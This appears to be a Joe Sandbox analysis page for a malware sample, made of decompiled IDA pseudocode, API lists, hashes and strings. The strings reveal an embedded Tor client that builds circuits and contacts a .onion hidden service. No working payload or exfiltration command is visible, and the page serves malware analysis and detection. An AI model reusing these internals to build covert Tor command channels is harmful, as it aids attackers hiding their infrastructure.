Instruction Fuzzy Hash: 53018C32908E82D1E754DB29A40016DB3A0FB89BB4F145175EA5EC76A9EE3CE449D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D783190 Relevance: 5.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF61D7831DF
memmove.MSVCRT ref: 00007FF61D783218
memmove.MSVCRT ref: 00007FF61D783232
memmove.MSVCRT ref: 00007FF61D783393

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 3f6c062b956e4a794145d90a4219d2e9a4ebbab99b43dd10c1bdd58ecb16eab9
Instruction ID: 1c3e72df4353401b2e535d4d2c075135a4782744cb2acef3335d33ff65f69288
Opcode Fuzzy Hash: 3f6c062b956e4a794145d90a4219d2e9a4ebbab99b43dd10c1bdd58ecb16eab9
Instruction Fuzzy Hash: 01718232B05F9596EB58CB69D5447AC73A4F704B64F148236CB2C97BA4EF38E46AD300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78F120 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00007FF67FF61D78F120(void* __ecx, void* __ebp, long long __rcx, long long __rdx, void* __r9, long long _a8, intOrPtr _a16, char _a24, intOrPtr _a32) {
				char _v96;
				char _v128;
				char _v160;
				char _v192;
				char _v224;
				char _v256;
				long long _v264;
				long long _v272;
				char _v296;
				long long _v304;
				char _v328;
				long long _v336;
				char _v360;
				char _v376;
				long long _v392;
				long long _v400;
				long long _v408;
				long long _v416;
				long long _v424;
				long long _v432;
				long long _v440;
				long long _v448;
				long long _v456;
				long long _v464;
				signed long long _v472;
				long long _v480;
				long long _v488;
				long long _v496;
				long long _v504;
				long long _v512;
				long long _v520;
				void* _v552;
				intOrPtr* _v568;
				char _v576;
				char _v608;
				intOrPtr _v616;
				long long _v624;
				char _v632;
				void* _v648;
				signed int _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				short _v670;
				intOrPtr _v672;
				short _v674;
				intOrPtr _v676;
				short _v678;
				char _v680;
				void* __rbx;
				void* __rsi;
				void* _t120;
				void* _t135;
				intOrPtr _t151;
				intOrPtr _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				long long _t171;
				intOrPtr* _t173;
				signed long long _t197;
				long long _t210;
				char _t214;
				char* _t215;
				long long _t222;
				long long _t223;
				long long _t234;
				signed long long _t248;
				long long _t250;
				long long _t253;
				long long* _t254;
				long long* _t255;
				void* _t256;
				intOrPtr* _t257;
				void* _t259;
				void* _t261;
				long long _t267;
				long long* _t269;
				long long* _t270;
				void* _t274;
				void* _t275;
				intOrPtr* _t276;
				void* _t278;
				intOrPtr* _t279;
				void* _t281;
				long long _t282;
				void* _t284;
				long long _t285;

				_t274 = _t261;
				 *((long long*)(_t274 + 0x10)) = __rdx;
				 *((long long*)(_t274 + 8)) = __rcx;
				 *((long long*)(_t274 - 0x180)) = 0xfffffffe;
				_t285 = __rdx;
				_t282 = __rcx;
				_v664 = 0;
				_t5 = _t210 + 1; // 0x1
				_t151 = _t5;
				_v660 = _t151;
				_t7 = _t210 + 5; // 0x5
				_t153 = _t7;
				_v656 = _t153;
				 *((long long*)(_t274 + 0x18)) =  &_v632;
				_v632 = _t210;
				_v624 = _t210;
				_v616 = 3;
				 *((long long*)(_t274 + 0x20)) =  &_v608;
				asm("xorps xmm0, xmm0");
				asm("movdqa [esp+0x70], xmm0");
				 *((long long*)(_t274 - 0x248)) = _t210;
				 *((long long*)(_t274 + 0x18)) = _t274 - 0x240;
				 *((long long*)(_t274 - 0x240)) = _t210;
				 *((long long*)(_t274 - 0x238)) = _t210;
				asm("movdqa [esp+0xa0], xmm0");
				 *((long long*)(_t274 - 0x218)) = _t210;
				 *((long long*)(__rcx + 8)) = _t210;
				 *((long long*)(__rcx + 0x10)) = _t210;
				 *((long long*)(__rcx + 0x18)) = _t210;
				_v664 = _t151;
				r9d = 0xb00;
				r8d = 0xa00;
				_t152 = _t151 - 1;
				_v660 = _t152;
				if (_t151 <= 0) goto 0x1d78f50b;
				_t214 = _v576;
				if (_t214 == 0) goto 0x1d78f20b;
				goto 0x1d78f20e;
				if (_t210 - 2 >= 0) goto 0x1d78f355;
				_t154 = _t153 - 1;
				_v656 = _t154;
				if (_t153 <= 0) goto 0x1d78f355;
				if (_t214 == 0) goto 0x1d78f23b;
				goto 0x1d78f23e;
				if (_t210 != 0) goto 0x1d78f290;
				_v264 =  &_v360;
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x168], xmm0");
				_v336 = _t210;
				_v678 = 0x200;
				_v676 = r8w;
				_a24 = r9w;
				goto 0x1d78f335;
				if (_t214 == 0) goto 0x1d78f2a3;
				goto 0x1d78f2a6;
				asm("xorps xmm0, xmm0");
				if (_t210 != 1) goto 0x1d78f2f6;
				_v504 =  &_v328;
				asm("movdqu [esp+0x188], xmm0");
				_v304 = _t210;
				_v674 = 0x200;
				_v672 = r8w;
				_a32 = r9w;
				goto 0x1d78f335;
				_v496 =  &_v296;
				asm("movdqu [esp+0x1a8], xmm0");
				_v272 = _t210;
				_v670 = 0x200;
				_v668 = r8w;
				_v680 = r9w;
				_t248 =  &_v680;
				_t215 =  &_v632;
				E00007FF67FF61D78E7D0(__ecx, 0x200, _t152, _t210 - 1, _t210, _t215, _t248, _t259,  &_v296, __r9); // executed
				r8d = 0xa00;
				r9d = 0xb00;
				goto 0x1d78f1f0;
				if (_t215 == 0) goto 0x1d78f368;
				goto 0x1d78f36b;
				if (_t210 - 2 < 0) goto 0x1d78f50b;
				_t267 =  *((intOrPtr*)(_t285 + 8));
				_v488 = _t267;
				_t197 =  *((intOrPtr*)(_t285 + 0x10)) - _t267 - 1;
				asm("dec eax");
				_t250 = (_t248 & _t197) + _t267;
				_v480 = _t250;
				_v520 = _t267;
				_v512 = _t250;
				asm("movaps xmm0, [esp+0xc0]");
				asm("movdqa [esp+0x150], xmm0");
				E00007FF67FF61D78E0B8(0x200, _t210 - 2, _t210,  &_v224,  &_v376, _t267);
				_t120 = E00007FF67FF61D78EC44(__ecx, _t152, __ebp,  &_v632,  &_v256, _t197); // executed
				_t273 = _t197;
				_v472 = _t197;
				_t74 = _t197 + 8; // 0x8
				_t269 = _t74;
				_v464 = _t269;
				_t276 = _t282 + 8;
				_v456 = _t276;
				_t253 =  *_t276;
				_v448 = _t253;
				 *_t276 =  *_t269;
				 *_t269 = _t253;
				_t79 = _t197 + 0x10; // 0x10
				_t254 = _t79;
				_v440 = _t254;
				_t279 = _t282 + 0x10;
				_v432 = _t279;
				_t222 =  *_t279;
				_v424 = _t222;
				 *_t279 =  *_t254;
				 *_t254 = _t222;
				_t84 = _t273 + 0x18; // 0x18
				_t270 = _t84;
				_v416 = _t270;
				_t255 = _t282 + 0x18;
				_v408 = _t255;
				_t223 =  *_t255;
				_v400 = _t223;
				 *_t255 =  *_t270;
				 *_t270 = _t223;
				E00007FF67FF61D781BDC(E00007FF67FF61D781BDC(E00007FF67FF61D781BDC(E00007FF67FF61D781BDC(E00007FF67FF61D781BDC(E00007FF67FF61D781BDC(_t120,  &_v256),  &_v96),  &_v128),  &_v160),  &_v192),  &_v224);
				_t95 =  *_t279 -  *_t276 - 1; // -1
				asm("dec eax");
				if ((_t95 &  ~( *_t279 -  *_t276)) != 0) goto 0x1d78f50b;
				if (_t152 - 1 <= 0) goto 0x1d78f506;
				E00007FF67FF61D781720(1, _t152, 0x1d79d010, "Trying to build new circuit...\n", _t197);
				goto 0x1d78f1cf;
				free(_t284);
				_v392 =  &_v576;
				if (_v576 == 0) goto 0x1d78f53d; // executed
				E00007FF67FF61D784FDC(_v576, _t255); // executed
				_t234 = _v568;
				_t171 = _t234;
				if (_t171 == 0) goto 0x1d78f581;
				_v648 = _t234;
				_t155 = _t154 | 0xffffffff;
				asm("lock xadd [ecx+0x8], eax");
				if (_t171 != 0) goto 0x1d78f581;
				 *((intOrPtr*)( *_v648))(_t278, _t275, _t256, _t259, _t210);
				asm("lock xadd [ebx+0xc], eax");
				if (_t171 != 0) goto 0x1d78f581;
				 *((intOrPtr*)( *_v648 + 8))();
				_t135 = E00007FF67FF61D78A1C4( &_v632, _t281); // executed
				E00007FF67FF61D781BDC(_t135, _t285);
				free();
				_a8 =  &_v576;
				if (_v576 == 0) goto 0x1d78f5ce;
				E00007FF67FF61D784FDC(_v576, _t255);
				_t257 = _v568;
				_t173 = _t257;
				if (_t173 == 0) goto 0x1d78f606;
				asm("lock xadd [edi+0x8], eax");
				if (_t173 != 0) goto 0x1d78f606;
				 *((intOrPtr*)( *_t257))();
				asm("lock xadd [edi+0xc], eax");
				if ((_t155 | 0xffffffff) + (_t155 | 0xffffffff) != 0) goto 0x1d78f606;
				 *((intOrPtr*)( *_t257 + 8))();
				return E00007FF67FF61D781BDC(E00007FF67FF61D78A1C4( &_v632), _a16);
			}

0x7ff61d78f120
0x7ff61d78f123
0x7ff61d78f127
0x7ff61d78f13d
0x7ff61d78f148
0x7ff61d78f14b
0x7ff61d78f150
0x7ff61d78f154
0x7ff61d78f154
0x7ff61d78f157
0x7ff61d78f15b
0x7ff61d78f15b
0x7ff61d78f15e
0x7ff61d78f167
0x7ff61d78f16b
0x7ff61d78f170
0x7ff61d78f175
0x7ff61d78f182
0x7ff61d78f186
0x7ff61d78f189
0x7ff61d78f18f
0x7ff61d78f19d
0x7ff61d78f1a1
0x7ff61d78f1a8
0x7ff61d78f1af
0x7ff61d78f1b8
0x7ff61d78f1bf
0x7ff61d78f1c3
0x7ff61d78f1c7
0x7ff61d78f1cb
0x7ff61d78f1cf
0x7ff61d78f1d5
0x7ff61d78f1e2
0x7ff61d78f1e4
0x7ff61d78f1ea
0x7ff61d78f1f0
0x7ff61d78f1fb
0x7ff61d78f209
0x7ff61d78f212
0x7ff61d78f21a
0x7ff61d78f21c
0x7ff61d78f222
0x7ff61d78f22b
0x7ff61d78f239
0x7ff61d78f241
0x7ff61d78f24b
0x7ff61d78f253
0x7ff61d78f256
0x7ff61d78f25f
0x7ff61d78f267
0x7ff61d78f26c
0x7ff61d78f272
0x7ff61d78f28b
0x7ff61d78f293
0x7ff61d78f2a1
0x7ff61d78f2a6
0x7ff61d78f2ad
0x7ff61d78f2b7
0x7ff61d78f2bf
0x7ff61d78f2c8
0x7ff61d78f2d0
0x7ff61d78f2d5
0x7ff61d78f2db
0x7ff61d78f2f4
0x7ff61d78f2fe
0x7ff61d78f306
0x7ff61d78f30f
0x7ff61d78f317
0x7ff61d78f31c
0x7ff61d78f322
0x7ff61d78f330
0x7ff61d78f335
0x7ff61d78f33a
0x7ff61d78f344
0x7ff61d78f34a
0x7ff61d78f350
0x7ff61d78f358
0x7ff61d78f366
0x7ff61d78f36f
0x7ff61d78f375
0x7ff61d78f379
0x7ff61d78f388
0x7ff61d78f38f
0x7ff61d78f395
0x7ff61d78f398
0x7ff61d78f3a0
0x7ff61d78f3a8
0x7ff61d78f3b0
0x7ff61d78f3b8
0x7ff61d78f3d1
0x7ff61d78f3e7
0x7ff61d78f3ec
0x7ff61d78f3ef
0x7ff61d78f3f7
0x7ff61d78f3f7
0x7ff61d78f3fb
0x7ff61d78f403
0x7ff61d78f407
0x7ff61d78f40f
0x7ff61d78f413
0x7ff61d78f41e
0x7ff61d78f422
0x7ff61d78f425
0x7ff61d78f425
0x7ff61d78f429
0x7ff61d78f431
0x7ff61d78f435
0x7ff61d78f43d
0x7ff61d78f441
0x7ff61d78f44c
0x7ff61d78f450
0x7ff61d78f453
0x7ff61d78f453
0x7ff61d78f457
0x7ff61d78f45f
0x7ff61d78f463
0x7ff61d78f46b
0x7ff61d78f46e
0x7ff61d78f479
0x7ff61d78f47c
0x7ff61d78f4cd
0x7ff61d78f4da
0x7ff61d78f4e1
0x7ff61d78f4e7
0x7ff61d78f4ec
0x7ff61d78f501
0x7ff61d78f506
0x7ff61d78f513
0x7ff61d78f522
0x7ff61d78f535
0x7ff61d78f537
0x7ff61d78f53d
0x7ff61d78f545
0x7ff61d78f548
0x7ff61d78f54a
0x7ff61d78f54f
0x7ff61d78f554
0x7ff61d78f55b
0x7ff61d78f568
0x7ff61d78f56c
0x7ff61d78f573
0x7ff61d78f57d
0x7ff61d78f586
0x7ff61d78f58f
0x7ff61d78f5a4
0x7ff61d78f5b3
0x7ff61d78f5c6
0x7ff61d78f5c8
0x7ff61d78f5ce
0x7ff61d78f5d6
0x7ff61d78f5d9
0x7ff61d78f5e0
0x7ff61d78f5e7
0x7ff61d78f5ef
0x7ff61d78f5f3
0x7ff61d78f5fa
0x7ff61d78f602
0x7ff61d78f631

APIs

free.MSVCRT ref: 00007FF61D78F513

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

Strings

Trying to build new circuit..., xrefs: 00007FF61D78F4EE
cached-consensus, xrefs: 00007FF61D78F132

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID: Trying to build new circuit...$cached-consensus
API String ID: 1294909896-1511346022
Opcode ID: 3bbfda31d121760b5f3c9207962ab86328850930be859832aef818c85659a7f2
Instruction ID: 717d0b26021af4b5d03112cbd47fea6bdccb80f7f9e1d081346f434b75ba0a76
Opcode Fuzzy Hash: 3bbfda31d121760b5f3c9207962ab86328850930be859832aef818c85659a7f2
Instruction Fuzzy Hash: 47C14A73619FC585DA60CF54E4842AEB3A4FB89BA0F504236DB8D83B58EF38D559CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78AF0C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00007FF67FF61D78AF0C(void* __ecx, void* __eflags, long long __rbx, long long __rcx, long long __rdi, long long __rsi, void* __r8, long long __r14) {
				void* __rbp;
				signed int _t84;
				void* _t96;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				void* _t105;
				long long _t118;
				intOrPtr* _t126;
				long long* _t131;
				signed long long _t144;
				signed long long _t145;
				void* _t153;
				void* _t154;
				void* _t160;

				_t147 = __rdi;
				_t105 = _t154;
				_t153 = _t105 - 0x5f;
				 *((long long*)(_t153 - 0x11)) = 0xfffffffe;
				 *((long long*)(_t105 + 8)) = __rbx;
				 *((long long*)(_t105 + 0x10)) = __rsi;
				 *((long long*)(_t105 + 0x18)) = __rdi;
				 *((long long*)(_t105 + 0x20)) = __r14;
				_t118 = __rcx;
				 *(_t153 - 0x19) = 0;
				_t144 = _t153 + 0x27;
				E00007FF67FF61D78A8C8(__rcx, __rcx, _t144, __r8, _t160); // executed
				if ( *((intOrPtr*)(_t153 + 0x4f)) != dil) goto 0x1d78af6e;
				_t10 = _t147 + 2; // 0x2
				E00007FF67FF61D78A41C(E00007FF67FF61D781720(_t10, 0, 0x1d79d010, "tor_socket::recv_cell_iteration() !! received invalid cell, closing stream\n", _t160), _t118, _t118, _t153);
				goto 0x1d78b0fe;
				_t126 =  *((intOrPtr*)(_t118 + 0x20));
				goto 0x1d78af83;
				if ( *_t126 ==  *((intOrPtr*)(_t153 + 0x27))) goto 0x1d78af8b;
				_t96 = _t126 + 0x18 -  *((intOrPtr*)(_t118 + 0x28));
				if (_t96 != 0) goto 0x1d78af7b;
				_t14 = __rdi + 8; // 0x8
				asm("dec eax");
				_t145 = _t144 & _t14;
				asm("xorps xmm0, xmm0");
				if (_t96 == 0) goto 0x1d78afc9;
				asm("movdqu [ebp-0x9], xmm0");
				if ( *((intOrPtr*)(_t145 + 8)) == 0) goto 0x1d78afb3;
				asm("lock inc dword [eax+0x8]");
				 *((long long*)(_t153 - 9)) =  *_t145;
				 *((long long*)(_t153 - 1)) =  *((intOrPtr*)(_t145 + 8));
				goto 0x1d78afda;
				asm("movdqu [ebp+0x17], xmm0");
				_t131 = _t153 + 0x17;
				 *(_t153 - 0x19) = 2;
				asm("movdqu [ebp+0x7], xmm0");
				 *((long long*)(_t153 + 7)) = __rdi;
				 *((long long*)(_t153 + 0xf)) =  *((intOrPtr*)(_t131 + 8));
				 *_t131 = __rdi;
				 *((long long*)(_t131 + 8)) = __rdi;
				 *(_t153 - 0x19) = 2;
				r14d = r14d | 0xffffffff;
				if (2 == 0) goto 0x1d78b046;
				 *(_t153 - 0x19) = 4;
				_t99 =  *((intOrPtr*)(_t153 + 0x1f));
				if (_t99 == 0) goto 0x1d78b046;
				asm("lock xadd [ecx+0x8], eax");
				if (_t99 != 0) goto 0x1d78b043;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x1f))))))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t99 != 0) goto 0x1d78b043;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x1f)))) + 8))();
				_t84 =  *(_t153 - 0x19);
				if ((_t84 & 0x00000001) == 0) goto 0x1d78b08d;
				 *(_t153 - 0x19) = _t84 & 0xfffffffe;
				_t101 =  *((intOrPtr*)(_t153 - 1));
				if (_t101 == 0) goto 0x1d78b08d;
				asm("lock xadd [ecx+0x8], eax");
				if (_t101 != 0) goto 0x1d78b08a;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 - 1))))))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t101 != 0) goto 0x1d78b08a;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 - 1)))) + 8))();
				if (__rdi == 0) goto 0x1d78b0a0;
				E00007FF67FF61D7862D4(0,  *((intOrPtr*)(_t153 - 1)), __rdi, _t153 + 0x27, __rdi, __rdi, _t160, __r14); // executed
				goto 0x1d78b0bc;
				r9d =  *((intOrPtr*)(_t153 + 0x27));
				E00007FF67FF61D781720(2, 0, 0x1d79d010, "tor_socket::recv_cell_iteration() !! received cell for non-existent circuit-id: %X\n", _t160);
				 *(_t153 - 0x19) =  *(_t153 - 0x19) & 0xfffffffb;
				_t103 =  *((intOrPtr*)(_t153 + 0xf));
				if (_t103 == 0) goto 0x1d78b0fb;
				asm("lock xadd [ecx+0x8], eax");
				if (_t103 != 0) goto 0x1d78b0fb;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0xf))))))();
				asm("lock xadd [ebx+0xc], eax");
				if (r14d + r14d != 0) goto 0x1d78b0fb;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0xf)))) + 8))();
				dil = 1;
				free(??);
				return dil;
			}

0x7ff61d78af0c
0x7ff61d78af0c
0x7ff61d78af10
0x7ff61d78af1b
0x7ff61d78af23
0x7ff61d78af27
0x7ff61d78af2b
0x7ff61d78af2f
0x7ff61d78af33
0x7ff61d78af38
0x7ff61d78af3b
0x7ff61d78af3f
0x7ff61d78af49
0x7ff61d78af52
0x7ff61d78af64
0x7ff61d78af69
0x7ff61d78af71
0x7ff61d78af79
0x7ff61d78af7d
0x7ff61d78af83
0x7ff61d78af86
0x7ff61d78af8b
0x7ff61d78af92
0x7ff61d78af95
0x7ff61d78af98
0x7ff61d78af9b
0x7ff61d78af9d
0x7ff61d78afa9
0x7ff61d78afab
0x7ff61d78afb6
0x7ff61d78afba
0x7ff61d78afc7
0x7ff61d78afc9
0x7ff61d78afce
0x7ff61d78afda
0x7ff61d78afdd
0x7ff61d78afe2
0x7ff61d78afea
0x7ff61d78afee
0x7ff61d78aff1
0x7ff61d78aff8
0x7ff61d78affb
0x7ff61d78b002
0x7ff61d78b007
0x7ff61d78b00e
0x7ff61d78b011
0x7ff61d78b016
0x7ff61d78b01e
0x7ff61d78b02a
0x7ff61d78b02f
0x7ff61d78b037
0x7ff61d78b040
0x7ff61d78b043
0x7ff61d78b049
0x7ff61d78b04e
0x7ff61d78b055
0x7ff61d78b058
0x7ff61d78b05d
0x7ff61d78b065
0x7ff61d78b071
0x7ff61d78b076
0x7ff61d78b07e
0x7ff61d78b087
0x7ff61d78b090
0x7ff61d78b099
0x7ff61d78b09e
0x7ff61d78b0a0
0x7ff61d78b0b7
0x7ff61d78b0bf
0x7ff61d78b0c6
0x7ff61d78b0c9
0x7ff61d78b0ce
0x7ff61d78b0d6
0x7ff61d78b0e2
0x7ff61d78b0e7
0x7ff61d78b0ef
0x7ff61d78b0f8
0x7ff61d78b0fb
0x7ff61d78b102
0x7ff61d78b127

APIs

Part of subcall function 00007FF61D78A8C8: memset.MSVCRT ref: 00007FF61D78A958

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

free.MSVCRT ref: 00007FF61D78B102

Strings

tor_socket::recv_cell_iteration() !! received invalid cell, closing stream, xrefs: 00007FF61D78AF4B
tor_socket::recv_cell_iteration() !! received cell for non-existent circuit-id: %X, xrefs: 00007FF61D78B0A4

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CurrentLocalThreadTime_cwprintf_s_lfreememset
String ID: tor_socket::recv_cell_iteration() !! received cell for non-existent circuit-id: %X$tor_socket::recv_cell_iteration() !! received invalid cell, closing stream
API String ID: 1383866297-1620486077
Opcode ID: 1b91a9beff26a7c34daa6ce71cbe770b9c7e1160e57c9fa65b39511029c24924
Instruction ID: 1766c183242926ae37ddfe893b1c7a21fbcec71ebde82001820b3dffe118d985
Opcode Fuzzy Hash: 1b91a9beff26a7c34daa6ce71cbe770b9c7e1160e57c9fa65b39511029c24924
Instruction Fuzzy Hash: CF615D77B45F818AEB108F25C4802BC73A0FB48F68B548236DA5D97794EE3DE946D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784C58 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00007FF67FF61D784C58(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __ebp, void* __eflags, long long __rbx, long long __rcx, signed long long* __rdx, long long __rsi, void* __r8) {
				void* __rdi;
				void* _t55;
				void* _t59;
				void* _t67;
				void* _t70;
				void* _t73;
				void* _t78;
				long long _t79;
				long long _t86;
				signed long long _t106;
				long long* _t112;
				void* _t113;
				signed long long* _t114;
				void* _t117;
				signed long long* _t120;
				void* _t122;
				void* _t123;
				long long _t126;
				void* _t132;

				_t73 = __eflags;
				_t70 = __edi;
				_t67 = __ecx;
				_t78 = _t122;
				 *((long long*)(_t78 + 0x10)) = __rdx;
				_t120 = _t78 - 0x38;
				_t123 = _t122 - 0x120;
				 *((long long*)(_t123 + 0x50)) = 0xfffffffe;
				 *((long long*)(_t78 + 8)) = __rbx;
				 *((long long*)(_t78 + 0x18)) = __rsi;
				r14d = r9w & 0xffffffff;
				_t117 = __r8;
				_t114 = __rdx;
				_t86 = __rcx;
				 *(_t123 + 0x20) =  *(_t123 + 0x20) & 0x00000000;
				asm("inc ecx");
				asm("movdqu [esp+0x40], xmm0");
				 *((long long*)(_t123 + 0x70)) = __rcx;
				_t79 =  *((intOrPtr*)(__rcx));
				 *((long long*)(_t123 + 0x78)) = _t79;
				_t11 =  *((intOrPtr*)(_t79 + 8)) + 0x30; // 0xe8b74d8d48302474
				 *((long long*)(_t120 - 0x80)) =  *_t11;
				_t106 = _t120 - 0x78;
				E00007FF67FF61D781B1C(_t123 + 0x40, _t106);
				_t126 =  *((intOrPtr*)(_t120 - 0x70));
				_t17 =  *((intOrPtr*)(_t120 - 0x68)) - _t126 - 1; // 0x7ff61d78238a
				asm("dec eax");
				 *((long long*)(_t123 + 0x30)) = _t126;
				 *((long long*)(_t123 + 0x38)) = (_t106 & _t17) + _t126;
				asm("movaps xmm0, [esp+0x30]");
				asm("movdqa [esp+0x30], xmm0");
				E00007FF67FF61D782A90(__ebx, _t73, _t120 - 0x58, _t123 + 0x30, _t126);
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp-0x30], xmm0");
				 *(_t120 - 0x20) =  *(_t120 - 0x20) & 0x00000000;
				asm("movdqa [ebp-0x10], xmm0");
				 *_t120 =  *_t120 & 0x00000000;
				E00007FF67FF61D781720(0, _t70, 0x1d79d010, "hidden_service() [%s.onion]\n",  *((intOrPtr*)(_t123 + 0x40)));
				_t55 = E00007FF67FF61D788EE0(_t67, _t70, __esi, _t86, _t123 + 0x70, _t114, _t117,  *((intOrPtr*)(_t123 + 0x40))); // executed
				if (_t55 == 0) goto 0x1d784d6b;
				asm("movups xmm0, [esi]");
				asm("movdqu [esp+0x30], xmm0");
				r9d = r14w & 0xffffffff;
				E00007FF67FF61D7849E8(_t70, __esi, _t55, _t86, _t86, _t123 + 0x58, _t117, _t123 + 0x30,  *((intOrPtr*)(_t123 + 0x40)));
				goto 0x1d784d7e;
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x40], xmm0");
				_t112 = _t123 + 0x40;
				 *(_t123 + 0x20) = 2;
				 *_t114 =  *_t114 & 0x00000000;
				_t114[1] = _t114[1] & 0x00000000;
				 *_t114 =  *_t112;
				 *_t112 =  *_t114;
				_t114[1] =  *((intOrPtr*)(_t112 + 8));
				 *((long long*)(_t112 + 8)) = _t114[1];
				 *(_t123 + 0x20) = 2;
				if (2 == 0) goto 0x1d784dc5;
				 *(_t123 + 0x20) = 2;
				E00007FF67FF61D786AF4(_t123 + 0x40);
				if (0 == 0) goto 0x1d784ddc;
				 *(_t123 + 0x20) = 4;
				_t59 = E00007FF67FF61D786CD4(E00007FF67FF61D786AF4(_t123 + 0x58), _t86, _t120 - 0x18, _t117);
				free(_t132);
				free(_t113);
				return E00007FF67FF61D781BDC(_t59, _t120 - 0x78);
			}

0x7ff61d784c58
0x7ff61d784c58
0x7ff61d784c58
0x7ff61d784c58
0x7ff61d784c5b
0x7ff61d784c63
0x7ff61d784c67
0x7ff61d784c6e
0x7ff61d784c77
0x7ff61d784c7b
0x7ff61d784c7f
0x7ff61d784c83
0x7ff61d784c86
0x7ff61d784c89
0x7ff61d784c8c
0x7ff61d784c91
0x7ff61d784c95
0x7ff61d784c9b
0x7ff61d784ca0
0x7ff61d784ca3
0x7ff61d784cac
0x7ff61d784cb0
0x7ff61d784cb4
0x7ff61d784cbd
0x7ff61d784cc7
0x7ff61d784cce
0x7ff61d784cd5
0x7ff61d784cde
0x7ff61d784ce3
0x7ff61d784ce8
0x7ff61d784ced
0x7ff61d784cfc
0x7ff61d784d02
0x7ff61d784d05
0x7ff61d784d0a
0x7ff61d784d0f
0x7ff61d784d14
0x7ff61d784d2e
0x7ff61d784d39
0x7ff61d784d40
0x7ff61d784d42
0x7ff61d784d45
0x7ff61d784d4b
0x7ff61d784d5c
0x7ff61d784d69
0x7ff61d784d6b
0x7ff61d784d6e
0x7ff61d784d74
0x7ff61d784d7e
0x7ff61d784d82
0x7ff61d784d86
0x7ff61d784d91
0x7ff61d784d94
0x7ff61d784d9f
0x7ff61d784da3
0x7ff61d784daa
0x7ff61d784db1
0x7ff61d784db6
0x7ff61d784dbf
0x7ff61d784dc8
0x7ff61d784dcd
0x7ff61d784de0
0x7ff61d784dea
0x7ff61d784df5
0x7ff61d784e1f

APIs

Part of subcall function 00007FF61D782A90: memmove.MSVCRT ref: 00007FF61D782B4C
Part of subcall function 00007FF61D782A90: memmove.MSVCRT ref: 00007FF61D782B7E
Part of subcall function 00007FF61D782A90: memmove.MSVCRT ref: 00007FF61D782BDB

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
